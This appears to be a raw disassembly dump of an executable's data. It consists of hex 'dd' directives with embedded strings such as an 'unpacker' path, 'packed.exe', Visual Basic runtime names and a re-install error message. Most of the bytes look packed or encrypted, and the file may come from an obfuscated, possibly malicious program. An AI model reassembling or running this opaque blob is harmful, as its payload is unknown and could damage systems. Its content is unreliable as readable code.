0E81186C0h, 9, 5B23C443h, 0BAB11C52h, 5FC38B81h, 0C0B8C381h dd 0F8571186h, 1E9815Eh, 0F000000h, 0FFFFB285h, 0B2DF81FFh dd 8D0509BEh, 1943C38Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0B813FDE9h, 16B5B529h dd 8D890613h, 6131BBDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 10C35242h, 6FD1BC45h, 8BE07850h, 131721BDh dd 0DD85C706h, 0E4061318h, 6A000059h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F947C357h dd 0C2565B97h, 899C471Dh, 13348995h, 5585C706h, 61330h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0B8D2C355h, 4ABDF9CDh, 66600F31h dd 9746E781h, 0CE9h, 0BFF89300h, 6ABEDBD0h, 2B70CCA7h dd 0B5FF61DAh, 613125Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 63C35141h, 8D297130h, 6130EC5h, 5E9h dd 1FB78900h, 95FF9787h, 6131D89h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0B2C35141h, 8ACA3677h, 221D9589h dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C7DC08EBh, 7E0EA353h dd 77E9AFC8h, 70000001h, 0DD1459DDh, 437C8360h, 5F6D5C3Ah dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h dd 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 6 dup(0) dd 0F3E90000h, 6800001Bh, 6194749h, 0FA3C07E9h, 483268FFh dd 0FDE90619h, 68FFFA3Bh, 6194959h, 0FA3BF3E9h, 4A0068FFh dd 0E9E90619h, 68FFFA3Bh, 6194A3Fh, 0FA3BDFE9h, 4B1F68FFh dd 0D5E90619h, 68FFFA3Bh, 6194B85h, 0FA3BCBE9h, 4BCC68FFh dd 0C1E90619h, 68FFFA3Bh, 619531Ah, 0FA3BB7E9h, 53C268FFh dd 0ADE90619h, 68FFFA3Bh, 61954ABh, 0FA3BA3E9h, 558468FFh dd 99E90619h, 68FFFA3Bh, 61955E6h, 0FA3B8FE9h, 56D968FFh dd 85E90619h, 68FFFA3Bh, 6195779h, 0FA3B7BE9h, 580D68FFh dd 71E90619h, 68FFFA3Bh, 6195E95h, 0FA3B67E9h, 5F7168FFh dd 5DE90619h, 68FFFA3Bh, 619600Eh, 0FA3B53E9h, 0D87ECCFFh dd 0C886D8FAh, 0D674C8EAh, 0CF81D2F8h, 0D87CC9EFh, 764CBFAh dd 163C9ABAh, 0C2E8CC6h, 0F3191B7h, 23308EBEh, 0FB4DC93Ch dd 31616B6h, 70E5C25Fh, 109DB516h, 0F419BEDFh, 29BF1439h dd 3283D51Fh, 230C4B1Ah, 0E0FB8E21h, 81D0F257h, 76C709D3h dd 0B1B8F8D6h, 2A87F6D5h, 23168F2Ch, 90A1B1FFh, 0DDFA6771h dd 8B282EA8h, 0F796F70Ah, 0EB5DF2D8h, 32B13B5Ah, 8B2843C3h dd 0DB709A0Ah, 9BB5062Ch, 0D9814BCAh, 5AAC951Bh, 30C3h dd 0BEA39700h, 9B7AEBC8h, 6C168E98h, 69E91829h, 0C00A8A89h dd 9F01AC93h, 6180B70Bh, 0D0D9F02Bh, 4D97F63Eh, 562646C3h dd 0FE5AAD64h, 0C5h, 0E06CBD64h, 74E06D51h, 0FC50E1E5h dd 8AF9F8DFh, 0D21B001Bh, 0E6775B0Ah, 1154866h, 0A5109DE3h dd 0B79B3814h, 0F5142525h, 7ACBEDEBh, 5E4483D2h, 50B180CAh dd 8B352C88h, 14A2BC76h, 6611B6C3h, 21BB6CDh, 2109A6C7h dd 0ED20BF93h, 109DD471h, 0C411DB3Ah, 8ED9AC91h, 0A2008516h dd 0AC0B7B66h, 75305439h, 0CBE82D10h, 0DCFA5AE7h, 78ED67F6h dd 79F9038Ah, 5FE1FCABh, 6000019h, 1A409EB8h, 22886C8h dd 1C3E9CAEh, 32585CBh, 0D409EB6h, 0D87CC922h, 0CA88D8FAh dd 0D771C6ECh, 0CC80D1F7h, 8BFAE5EEh, 16B6FC0Fh, 0BD9DC1D8h dd 0E9C6E470h, 8EDF73C1h, 4293C50Fh, 7156F647h, 8DE3CA35h dd 8E2C4D97h, 0C8BEA334h, 0C3A5C4EBh, 3F76CD5Fh, 0A80FAFB7h dd 0E4775C94h, 449E0564h, 7E7AD8F4h, 0A7B5860h, 168EE60Bh dd 59A8B9DCh, 0A8AD5F9h, 0FB240350h, 2A3F8BD5h, 59B5A498h dd 220A8AEEh, 1AAFD9E3h, 0ACD322F2h, 0A68A5Ah, 0BDB00000h dd 6D51E06Ch, 94E574E0h, 109DB182h, 19B99326h, 97A6A637h dd 99365099h, 0A83024B1h, 0B6573AABh, 0ED30168Eh, 0EE98D1CDh dd 3658E9D1h, 8AA34BC7h, 90F1140Ah, 29B39D2Eh, 1C5B92Ch dd 5FBE1075h, 490B5A80h, 5AFA4769h, 0F8E34927h, 0BA975679h dd 1876h, 0D3F363EFh, 0D1F15DEDh, 0CDED5DEFh, 0D6F45CEBh dd 0CFEF65F4h, 0AB3A53DCh, 992709A9h, 0A43719B9h, 912406A4h dd 114E1BBBh, 0B6FD82DCh, 6CD64B16h, 0C7E470BDh, 68F951E3h dd 8FB19F29h, 86B10E3Eh, 0EC549CB0h, 90672427h, 0DAAB04A1h dd 852331BBh, 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8EAA7C29h dd 0D160A516h, 0D381D0F2h, 961C7A09h, 17730A8Ah, 7BA7AA2h dd 7B5C5AADh, 8A9D900Ah, 0AC34590Ah, 0E375h, 0F4694600h dd 0A8A9D9Ah, 0F4175C63h, 0A5423101h, 0B962FCC4h, 0DDA9C0D9h dd 0A5EE8FFEh, 486F168Eh, 3ED38D31h, 0CB18A042h, 92426D4Ah dd 5BFA6E16h, 0BA6BE716h, 0D1340A89h, 0E66728B0h, 0BDF3193Ah dd 0C312B1B8h, 2F7EC091h, 86254425h, 5A3181A9h, 97F64709h dd 9E2667F6h, 0E008D66Fh, 19B6D73Bh, 26AEA231h, 438069C7h dd 8C0D5CF4h, 0C6F1CEEDh, 0C6746590h, 4DBC045Eh, 35CA0AFEh dd 0C9B6646Bh, 43A9CD4Eh, 298EAB4Ch, 85CADBBh, 65422342h dd 4260EC3Dh, 0A7FCD60h, 9F4949F0h, 4F478229h, 16000017h dd 0A308EC8h, 123896B8h, 0C2E8CBEh, 133595BBh, 0FD308EC6h dd 0C88CD932h, 0DA78C8EAh, 0C781D6FCh, 0DC70C1E7h, 7BEAF5FEh dd 16B6FE1Fh, 0BD8DB1E8h, 5351E06Ch, 2A5B780Eh, 168EAA7Fh dd 0EB4565A8h, 0A9C0D9B9h, 0F9E1FEDDh, 3554E569h, 0A5DD5CABh dd 795E168Eh, 51BB085Dh, 0E16BBEC2h, 88503150h, 321DBADBh dd 6E2F6AD1h, 3612A50Ch, 18C8D57h, 91A16277h, 0F5D2B4ADh dd 51C3E980h, 9AABEA89h, 6443439Eh, 0D160EA3Eh, 0BA2B28B0h dd 833BC38Dh, 163C9BFAh, 72989C3h, 0E1E396B6h, 6ECBB19h dd 16A86A67h, 71BD0000h, 53E3C5E5h, 63F5DBFBh, 52E1C7E7h dd 6BFAE0FEh, 55DAC9E9h, 0BABA938h, 1BBB9725h, 8A6A235h dd 1DBD8F22h, 80DA0B54h, 4916B6FFh, 6CBD6ED0h, 9B7D6DE0h dd 0DF8E8621h, 166902h, 0E86EFC00h, 0F856E8CAh, 0E664F8DAh dd 0FF51E2C8h, 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h dd 1F01A1A7h, 5320BE8Eh, 0FF7DD90Ch, 0D34616B6h, 1D6CBD6Fh dd 1071C08Ch, 9DC4E071h, 429BCAE9h, 3168E97h, 89FA2482h dd 2E8DF9F0h, 3196BC0Ch, 0E80CB3FCh, 0F1EEF641h, 7AB4FD7Ch dd 79CC0E10h, 0EF4082D3h, 0D0B1D061h, 62F35DEEh, 2CA14223h dd 800E0A00h, 8423637Eh, 0BEEED851h, 0F766496Dh, 61BAD99Bh dd 4A972164h, 233E7ACBh, 20410FA0h, 0EE255283h, 739267A8h dd 498C6B54h, 1FE6F578h, 0A3DF74EEh, 0B9D83D5Bh, 0CE213212h dd 2CB48A1Ah, 0BE2F102Fh, 5BA43C64h, 0EEE0E82Dh, 0ED9A2E5Bh dd 0C190F15Dh, 3BF75382h, 5DC05BA4h, 4469A3Ch, 0D2634565h dd 21D1077Ah, 5F0ED128h, 158982h, 0C88EDC00h, 0D876C8EAh dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 5DB92Ch, 0F32616B7h dd 0B516704Fh, 704F109Dh, 9DB4A1FDh, 0A12B6A10h, 9DA4E462h dd 9573D310h, 8BB4109Dh, 8FB5664Bh, 2814B3Dh, 109D8384h dd 0AADF6DC0h, 86216A78h, 23CF0AA1h, 42000015h, 5E4462F4h dd 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh dd 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B7007Bh dd 0A371CD44h, 7AEBC8BEh, 168E98F7h, 0B0D88D10h, 0C5800E6Eh dd 14DC2B26h, 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh dd 3786AC0Ah, 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h, 7452F649h dd 7151FB4Eh, 9CF66768h, 6516B6FFh, 6CBD122Ch, 0DC6D51E0h dd 0B01AE170h, 0E623F11Bh, 3D8BA341h, 0AF000000h, 9DB51270h dd 93FB4E10h, 0B4C541B4h, 0F8E109Dh, 9DB5045Eh, 2948CD10h dd 5C03A58Ah, 0EF65EB19h, 8384F7E5h, 8610C66Dh, 14689AB7h dd 8DB50000h, 41B4133Fh, 10426AC5h, 1BC50F8Eh, 51E06CBDh dd 28B50E53h, 9DFC1D2Ch, 0A596CF3Eh, 6847168Eh, 0A4BC1647h dd 850A8Ah, 8AA4F551h, 955FBE0Ah, 3815B5D8h, 0A56CE617h dd 0D0350A8Ah, 0D1B5AC08h, 750683F2h, 88CF107Bh, 2FF76715h dd 67F6978Ah, 5979D163h, 7707AB2Ah, 3157E704h, 0E9639BB5h dd 2A88E9DDh, 0C998B608h, 5563585h, 8C6A7485h, 21408592h dd 0A3D2F110h, 476FC27h, 0EFCCADF0h, 81D078CBh, 6129B800h dd 0EA052E7h, 0ACA6240h, 0B25098ADh, 254h, 977E1A05h, 0B798498Ah dd 684F1B87h, 943380ABh, 76D4E561h, 656FAE04h, 0C8BEA3FBh dd 91477AEBh, 5DC0168Eh, 0D678CA0Ch, 0B80D2F8h, 63F293BBh dd 8A80B412h, 0EF5DF00Ah, 62E87C5Eh, 2C9D2BD3h, 7FFC9639h dd 0EBCB83D3h, 0F3D0B6ABh, 79AD8FCCh, 8F2C26A6h, 8A9F045Eh dd 8048CD0Ah, 9C1F2253h, 95F8107Bh, 213382C4h, 42129F81h dd 990682F3h dd 533F0477h, 97BD0CB6h, 94F2F737h, 9EA3C637h, 96BC0A68h dd 0DD6C0D47h, 0C6E468F9h, 6AFB51E4h, 648BBF1Bh, 6DDEF4FEh dd 8B2824B5h, 7A089DA4h, 0B84269EBh, 25B81A4Dh, 99BF9D27h dd 12340549h, 0E318EC0h, 0C7B69C2Ch, 0FE63C84Bh, 78E7F114h dd 99840456h, 9F2B73ACh, 577BCAABh, 68FB4A0Ah, 3EA4912Ah dd 3B8B37D4h, 3B8CFD50h, 0B5157415h, 87945F1Dh, 98074Eh dd 0BD5B0000h, 0BE922170h, 0B00F6EAFh, 43F3C187h, 9F2968A9h dd 991C0340h, 5A78834Bh, 0E754E794h, 1DC0EAC0h, 18A0C18Dh dd 9CADA736h, 38DF5CF6h, 16CE617h, 0D035109Eh, 0DD77C608h dd 0AA9765FDh, 533FA341h, 23000000h, 51E06CBDh, 0E170DC6Dh dd 33024EDDh, 0BC8DBD0Fh, 0A552E72Bh, 9DB4D630h, 1F7E9F10h dd 32E059F7h, 0B50DAD9Fh, 0A341E6E7h, 254Fh, 0F94A7000h dd 0A3D38D57h, 7AEBC8BEh, 168EBA77h, 0CD3C0D90h, 0A8AA84Dh dd 0ABD16AA4h, 5AAD15EDh, 0D355h, 0BEA3E900h, 0C796B205h dd 55882746h, 168EBC10h, 390E9EA9h, 8E428D02h, 1475143Eh dd 0FE290645h, 0AF3E81Dh, 419DCC72h, 0A0A8A10h, 0BF0F418Bh dd 0B90A308Fh, 2E0F4D97h, 2F50209h, 0A918C2FCh, 0AB4B6BADh dd 80D21A7Bh, 97F3622Eh, 600A8A19h, 19940E7Fh, 385D0A8Ah dd 0D7687259h, 249DA6A4h, 0F5446645h, 0F4D6955Fh, 0EBCFEC62h dd 81D0F25Ah, 0B45A09D3h, 5DEDA516h, 65E11433h, 2E0A8AB4h dd 0B4247EEFh, 9580A8Ah, 0CC9BFA4Bh, 328A2849h, 5AAD1562h dd 35CAh, 0BDA37000h, 0F975E8C7h, 26F624Bh, 65FB2483h dd 0F478AFDCh, 0AADB8A52h, 909E9E2Ch, 0D2614976h, 9F1C767Eh dd 0D6F58FD9h, 63330BA7h, 0D1F114EFh, 7F6h, 61C45C00h dd 6A000000h, 6A196BBDh, 0FD1EAA9Bh, 0FA26E8EAh, 0BCD51ED5h dd 684F8CDDh, 0F75968B7h, 0BF11DB0Dh, 0D9FFDF6Fh, 5774C589h dd 0FC2B0C70h, 0C87C1Ah, 87D6AAB4h, 62B095F6h, 0C4E3F0EFh dd 9E1A3591h, 0ED9FE10h, 0DA860E8Fh, 2D7D2140h, 0DC6D9721h dd 4198E0B0h, 0A59D82A3h, 25056B1Bh, 0BF940BD5h, 0AA00000Bh dd 74C5BBA3h, 3680FE05h, 50726199h, 0D8FF4EFCh, 7B302FD0h dd 0AA32531Fh, 163CEB60h, 5ABB8AC4h, 1B0ACA92h, 0C6ECD515h dd 0C8DDC76h, 505DC4h, 0C2010000h, 0E3961DDDh, 844C648Ah dd 75522E38h, 86007552h, 4F109E2Ch, 34E3D408h, 0BEDF43FFh dd 0CE7BD736h, 0C144109Dh, 0E16FC0E2h, 3FF988D7h, 4AB9EE92h dd 53214BC0h, 35F5CDA1h, 0FC67E312h, 27306729h, 302222DEh dd 9D3B202h, 24F92h, 0BBA3A800h, 0A78169C5h, 1670E5C2h dd 0DF109DB5h, 912436BEh, 0E1FE9FBBh, 2C206AF9h, 12E5DC3Eh dd 924C94F5h, 41DE9947h, 4E41A6h, 0A3150000h, 7CD607BBh dd 0B5109DB5h, 9DB4C640h, 410E8F10h, 0B573EF1Eh, 0D93C109Dh dd 0C27DD9B8h, 0ECD0BAE5h, 4F357F3Ch, 9F870685h, 3558109Eh dd 0BD68C219h, 0DA00DF6Bh, 1574C587h, 0E5C211CBh, 9DB51670h dd 36BEDF10h, 25C43EE4h, 6A000000h, 69C5BBA3h, 0B53293C2h dd 0A829109Dh, 4CE0C28Eh, 49E9F6FEh, 83DF6BBDh, 1670E5C2h dd 0DF109DB5h, 3EE436BEh, 63CB1B70h, 5EF643D4h, 45075A80h dd 1E368325h, 44065A80h, 0D084D1F5h, 0E8610B81h, 3754CE3Fh dd 0F81D4B9Fh, 4ABF4999h, 2824B59Dh, 40A23219h, 58EC95Eh dd 0E77A5C64h, 725D8265h, 3D6E7792h, 0FD4F997Eh, 0DCC2A0ACh dd 0AF4CC63Ah, 0BE902208h, 0BB912436h, 9DAF0258h, 0B68EDBFDh dd 4B9F8457h, 0C0922228h, 11711071h, 0EC435C3h, 2C6E91BBh dd 0A9A6B79Dh, 0D31D3181h, 345ED27Dh, 0F65EEB97h, 0C097EED9h dd 0DC6DDB70h, 0DD5116BDh, 4365737Dh, 963C5AF2h, 679CFD47h dd 286D4B9Fh, 75D3684Ah, 0FC4EE2E4h, 77C688DAh, 0AB9A2F61h dd 3082A895h, 6CE4F1Eh, 0F243EF8Ch, 0D061B95Ah, 422327B9h dd 109F8324h, 4890F140h, 2905302h, 0C488D989h, 0D82DC0E7h dd 1D13C5DFh, 4598C2D3h, 3282A807h, 587A9820h, 992B4B09h dd 9528DA6Fh, 0BD8E54B7h, 8146E06Ch, 51E0C2A7h, 138DED3Dh dd 35545372h, 2B598FABh, 0F9E1FE0Fh, 3657E66Ah, 0E5C234AEh dd 9DB51670h, 36BEDF10h, 41DEFEAEh, 3E66A6h, 0A3FC0000h dd 0C26BC7BDh, 0B8004EE0h, 0B4EB6A9Bh, 32C109Dh, 755299B6h dd 9BD293FEh, 0ED37CFF4h, 61BD308Fh, 2A109EA9h, 184E1EBh dd 0BD68C225h, 0BF891E6Dh, 340E6FAEh, 3EC4E37Dh, 6A000000h dd 0FF4DE0C2h, 0A2FC716Eh, 6B109DB4h, 35814B2Ah, 0C2FD592Bh dd 9DB53293h, 0FF4F7310h, 0B5025C91h, 4ACB109Dh, 0D7FB1A2Bh dd 1574C585h, 79D544CBh, 6DBD68C2h, 50E0C2E1h, 7D20BA02h dd 4EE0C2E3h, 8D03100h, 9DA64279h, 31D0ED10h, 6EFFFFFDh dd 9DB51270h, 562A3410h, 5785778h, 109DB489h, 0E04B6D52h dd 54867ED1h, 17A9AB35h, 77D32233h, 0B9109E4Bh, 0BC10C237h dd 0B80A308Eh, 0E7163996h, 109E4B6Bh, 0C907D134h, 60F193CDh dd 0CC7DFC11h, 0B69CBB52h, 0FD1C2D27h, 0FC2099F3h, 1EEBA43Ch dd 260A4h, 1170BA00h, 52109DB5h, 4A71DF70h, 1ADED632h dd 102CB45Dh, 310EADD9h, 6A3EA606h, 0E5EFC3DBh, 8F8C9BA6h dd 0A1018416h, 85572D7Fh, 17D8725h, 5AEE4165h, 52D2A3Bh dd 4CCD9CB8h, 8B005284h, 47163Eh, 8BD0EF40h, 43224330h dd 0D07ED0F2h, 483E2381h, 1587FA6Bh, 1D80107Ch, 0FBF90A68h dd 0C19C4B79h, 0D8Eh, 0EBCB8BD7h, 0F9D975C5h, 0E5C585D7h dd 0FEDC74C3h, 0E7C78DDCh, 0C3127BB4h, 0C10F3191h, 0BC0F3191h dd 0B90C2E8Ch, 29263393h, 0B7085AB4h, 54EE2316h, 351E0C2h dd 64697B9h, 0FB5786A9h, 0C4109DB4h, 0CCE87741h, 0AF992E95h dd 9FCEF1CEh, 109DB543h, 123F890Ch, 84F27BE3h, 0DAF91C16h dd 0C9E664F8h, 6DFC50E1h, 94B6A42Ch, 5AFA4740h, 95282A3Bh dd 5F8AA6B7h, 5CF04169h, 846FB12Dh, 7A1B7A0Ah, 62BD285Dh dd 0F9D61075h, 715D0A84h, 2AB2D304h, 84495BDh, 8AC61539h dd 5A3B5ABBh, 0F542D927h, 6A670679h, 0CE6h, 8323337Fh dd 61410D9Dh, 7D5DED3Fh, 66440C5Bh, 7F5FF544h, 3B8AE34Ch dd 4997B919h, 3487A909h, 4194B614h, 0C19EAB0Bh, 0B707D24Ch dd 0DC869B16h, 51E06CBDh, 0A6205572h, 0DA109DB4h, 1479C688h dd 477970CCh, 0B71C36F8h, 6946278Eh, 8EED29F4h, 13B3D216h dd 12B09C2Dh, 90BC0D35h, 91F5EC48h, 0CABB1032h, 0A9B8D97Bh dd 0C01A4B68h, 890A8AD6h, 0C09FBC04h, 3706489Ah, 407F0ED6h dd 0CD107214h, 1446B48h, 0C2C91BC6h, 391FB219h, 0CA1BFCFDh dd 5BEDD502h, 0A2B3992Ch, 7DA50263h, 0FC9C582Ah, 1436C67Ch dd 4B6D6B75h, 0BE0051F9h, 0A7461B6Bh, 0FC98DAD2h, 77C688DAh dd 0CAE67716h, 0E7C8E79Fh, 3D3995C8h, 83020471h, 305FCA39h dd 52780A62h, 0E9864E00h, 2A1B77E6h, 0A1E4FE5Eh, 10598DC0h dd 0BB7273E2h, 0BFD9Eh, 7CDA6800h, 64EA7C5Eh, 7AD06446h dd 6BE5765Ch, 7CD8654Bh, 0ABC06F5Eh, 0B298361Eh, 0B0923022h dd 0AB8D2D1Bh, 0C794321Ah, 8F95588h, 4FC216B7h, 0E06CBDF3h dd 0FD4DDFC3h, 44A32D6Ch, 268501E8h, 559FB504h, 0A01CD508h dd 789D168Eh, 68E6785Ah, 76D6674Bh, 10700051h, 935D7285h dd 0F0426845h, 468E0F5Eh, 2C8AC014h, 0C8BEA38Eh, 51E6CCEBh dd 9D2766F7h, 8EB3D36Eh, 0A8B9DC16h, 8AACF959h, 45B6500Ah dd 0AD125917h, 8B015Ah, 0F0D20000h, 70EAF260h, 50E16DBDh dd 2735473h, 109DB488h dd 419DCC51h, 0A109DB4h, 0BF0F418Bh, 83D278CCh, 0B3B51144h dd 1F7E109Dh, 0C4E1F7Eh, 82C495BBh, 80C01E30h, 4FBE1D69h dd 168EBA1Eh, 599BCE4Fh, 5E800E8Bh, 0B2492CFh, 0F5410000h dd 0CF5F4161h, 0E7795F7Fh, 0CE5D4363h, 0AFFE2482h, 191605A5h dd 0CFEF65F4h, 0D7F75BE9h, 0CCEA5EF1h, 0D9F953E6h, 449ECF10h dd 0D16B70Ah, 6DBDAA94h, 4FE0C2E1h, 0BE99B701h, 54h, 236DBD24h dd 9DB558B2h, 9DFC2110h, 0D7970CCh, 0A5CA3FAEh, 42C3168Eh dd 0E88AF0Fh, 0C49E080h, 0AC2h, 9F3F17A3h, 852529B9h, 993911A3h dd 8A2828B7h, 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h dd 0E5785A78h, 557A4767h, 0B709A620h, 83A6F16h, 8C1D6CBDh dd 711071C0h, 14BDEE0h, 230C4B30h, 7B6D1293h, 335D6712h dd 0ADC6F196h, 6446533Fh, 0D8984088h, 80A3411Bh, 24Dh dd 0D0E9B9D6h, 0B4962A99h, 0F6D9F6D5h, 9DB50B87h, 0AB1D410h dd 3D019C13h, 0B84791CAh, 168EE939h, 0A528CB4Ah, 0DCF74DC6h dd 0EAC9BDA4h, 1F7BEACDh, 0E816F33Eh, 610052E2h, 3DB71342h dd 1D8016F3h, 34B934D3h, 85C21CE4h, 0E01DF650h, 3F5EBF10h dd 0AFD7122Eh, 0A1082F10h, 0B771630Eh, 5DC842B3h, 0C9110E0h dd 0D724636Dh, 4416CE71h, 6DC0E2C1h, 8ADA00DFh, 0F5D200C8h dd 0E127A3D2h, 0ADF00AC9h, 0B9EB5306h, 6E765150h, 0FE73D96Ch dd 804DA9AAh, 0CF2520C7h, 96000009h, 8AB00E48h, 92B81638h dd 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah dd 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B70A9Fh, 0C20D3168h dd 7F4299DDh, 3983AE4Bh, 0B687C717h, 2546F7Ah, 0FD9CFD4Ch dd 0AFDE01DEh, 109E1433h, 0C781D6FCh, 6E761776h, 854F9E1Fh dd 516EAF16h, 6B75D969h, 9A66516Eh, 97167EF7h, 5EEF5BEDh dd 44965E3Fh, 5A805EF4h, 0BBF9480Ah, 92C3E0A6h, 1075993Bh dd 183A99FCh, 52D8AC8h, 4529AB6h, 75C48E1Eh, 194C0051h dd 79F57AB5h, 2F322FBEh, 36000009h, 2A10AEA8h, 3218B698h dd 2C0EAC9Eh, 3315B59Bh, 1D10AEA6h, 0E86CF912h, 0FA58E8CAh dd 0E761F6DCh, 0FC50E1C7h, 9BCA15DEh, 16B70C3Fh, 0C2AD9108h dd 0B51670E5h, 0BEDF109Dh, 55C94436h, 87109DB5h, 73E17052h dd 0D0AA1F69h, 2E8DF9F0h, 8E9366BFh, 0C9E62716h, 0C83D4FE1h dd 0A8A8F4Eh, 49C53817h, 120A8A8Fh, 0D4F392F3h, 63F25CEEh dd 7CBC9A22h, 53822165h, 1074F23Eh, 91B91677h, 8BAF0C40h dd 8AC81038h, 423715A8h, 79F8D1BAh, 9B1D38EFh, 0CA000008h dd 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h, 0C7E9C987h, 0C9FCDA7Ah dd 9CB80566h, 86CC1C3Eh, 9BAD0228h, 88C4153Bh, 0CF3E212Ah dd 16B70D53h, 7059051Ch, 109DB512h, 0FA4E7453h, 0B4A52150h dd 2F6E109Dh, 2A22B3A5h, 31558C8Ch, 0EB8AB592h, 0C383196Eh dd 1B0E7D47h, 0D4168F98h, 3A2D12B1h, 24DBE2E2h, 0C2E8F5FFh dd 0D6FCDB6Dh, 1978C983h, 0C9F81CFh, 23302D3Ch, 0B000008h dd 786AA024h, 0FEC6C500h, 0C8BEA364h, 0D474C7EBh, 0B39ECF0Ch dd 0C168EAFh, 7E578223h, 4E96EB3Ch, 9CED7CA1h, 0A8A273Eh dd 0D780F995h, 0E2EA62F3h, 0AD98BA7Ah, 13D225Ah, 0BD380000h dd 4B8FDE6Ah, 0C20455FDh, 4A8CDD6Fh, 527353F5h, 0B4860075h dd 0CE4F109Dh, 0C97FD406h, 5D213C78h, 0B3CB0F7Eh, 0E124109Dh dd 79127C50h, 0F4D276C9h, 7ECF79CEh, 66EA7961h, 0B2A72F5Eh dd 8F01109Dh, 456A4DFAh, 794750D1h, 96F061FBh, 5F109D45h dd 45910D80h, 3B5A109Dh, 0EB40925Ah, 7A607D5Dh, 546068EAh dd 27567509h, 109D45B3h, 6D5FF3DCh, 5BDB77B9h, 0A0B1D491h dd 66440E9Eh, 0F5EF444h, 83D27ACBh, 0D5CEC3Fh, 0F1D579C9h dd 465AEB5Fh, 0F2C6AF4Ch, 9570B80h, 0EA005A8Bh, 44C9109Ch dd 5AA18625h, 401CAAD6h, 123826AEh, 0D27ECDC2h, 5B86A2B3h dd 12A68C2Bh, 8429638h, 0C310D839h, 8E336F92h, 0FA7FC816h dd 9C40E90h, 795F7F1Eh, 0DAD667EBh, 0A1D4F38Bh, 0A89BC29h dd 68E6785Ah, 0B330B8D9h, 0FA4E418Fh, 0E1800150h, 83E26EBDh dd 9EC19EB2h, 89BBF36Fh, 4596BC0Ah, 0BADB3A0Bh, 0AF63D832h dd 75DF6E21h, 0E6C4A5E4h, 1DE74C4h, 74C589D9h, 201CCB15h dd 411EBDC9h, 0BC73EF1Eh, 1AA70A89h, 5DEA2B3Ah, 1051B038h dd 0A1107ABAh, 0EC7C5E7Ch, 0CD624866h, 0C2FD5B7Bh, 0F14051E0h dd 7EBA0263h, 9B842363h, 733660CAh, 48955F17h, 8ED9FC15h dd 8F123D16h, 92818D9Fh, 78DC694Dh, 78C9A8E9h, 6662745Bh dd 53E26EBDh, 0F48B8D32h, 0FB4B8D57h, 0A3D57353h, 0C2E8C7BDh dd 0C8DDC6Eh, 76D425C4h, 0CD109DB5h, 0D4A4C841h, 0B6A341EAh dd 0BF093F94h, 2958h, 6DBDFE00h, 0A52150E1h, 0E7109DB4h dd 0CC5E14A5h, 95B12482h, 49109D92h, 993657FBh, 2830EAEh dd 0A7311EADh, 0FFFFB6ACh, 6CBD12FFh, 5A5EAE1Ah, 2746FC94h dd 0A3F6500Bh, 0C16BC7BDh, 0DE994767h, 3741A641h, 15000000h dd 0B004BDA3h, 0C25FFB9Ah, 96F76EDDh, 717BF64Fh, 175C4364h dd 9EB404CBh, 48F1C739h, 0B03859F7h, 9DCFF551h, 35FBE10h dd 6DBD68C2h, 0E37D45E1h, 37C4h, 0BDA36A00h, 0E5C26BC7h dd 16DE6ABDh, 9DB51B77h, 0AF8B0A10h, 0E0C268C2h, 87DCFE4Ch dd 85D5F7C1h, 4275C603h, 92F36EEFh, 70E5C2B8h, 109DB516h dd 0E56DFBDFh, 8DA3C84h, 8EDF6BBDh, 9DB4A3FFh, 386D710h dd 49C899B1h, 0A5351928h, 557998A9h, 14FA4B07h, 0BC100576h dd 0B709B952h, 0E5C41FCDh, 0F899C73Dh, 0E868F7DBh, 7883F2E0h dd 8B109E3Bh, 0FFF3E32Eh, 0E0C294FFh, 87DCFE4Ch, 85D5F7C1h dd 73C8EAC9h, 0BB0584D5h, 7B48A19Dh, 0B1D061E9h, 3F82F3D0h dd 98168EA4h, 1F2E20B2h, 3FCE9FFEh, 0A8A9DDFh, 0D7062936h dd 0A8A9E7Bh, 8DF7C144h, 0F96C4BFCh, 0A8A9D9Dh, 459D2766h dd 5AAD0F77h, 11DFh, 0AEDF0000h, 0A8A9634h, 865098FDh dd 1C4h, 0BEA36A00h, 0E6CCEBC8h, 2869F852h, 84E461A0h dd 68AD168Eh, 0E965F5D9h, 72C6ECC9h, 0B889C515h, 0E8293859h dd 84EFA1E0h, 0AE940A8Ah, 0A5A7311Bh, 0B2983612h, 3D1A2B1Dh dd 3D87C315h, 0E38D3A17h, 2127BC66h, 770BA082h, 7BEE8A2Ah dd 273657E6h, 0DA00DEE6h, 3A5C587h, 0CA8AD7B2h, 28B81A7Bh dd 9BFA1B2Ah, 2A9FE9FBh, 0AF2B5A7Dh, 780A8A1Eh, 2E22B115h dd 0E4F6FE1Fh, 0E5A63851h, 2667F652h, 0A1892647h, 0EB2A3B0Fh dd 477230E1h, 0A3C1DE89h, 0E231h, 0BAA30500h, 0FE9FB301h dd 0E66AF9E1h, 0E5C284DEh, 52E36FBDh, 0FB5AA933h, 0F2109DB4h dd 68C2C763h, 1670E5C2h, 0DF109DB5h, 66DC36BEh, 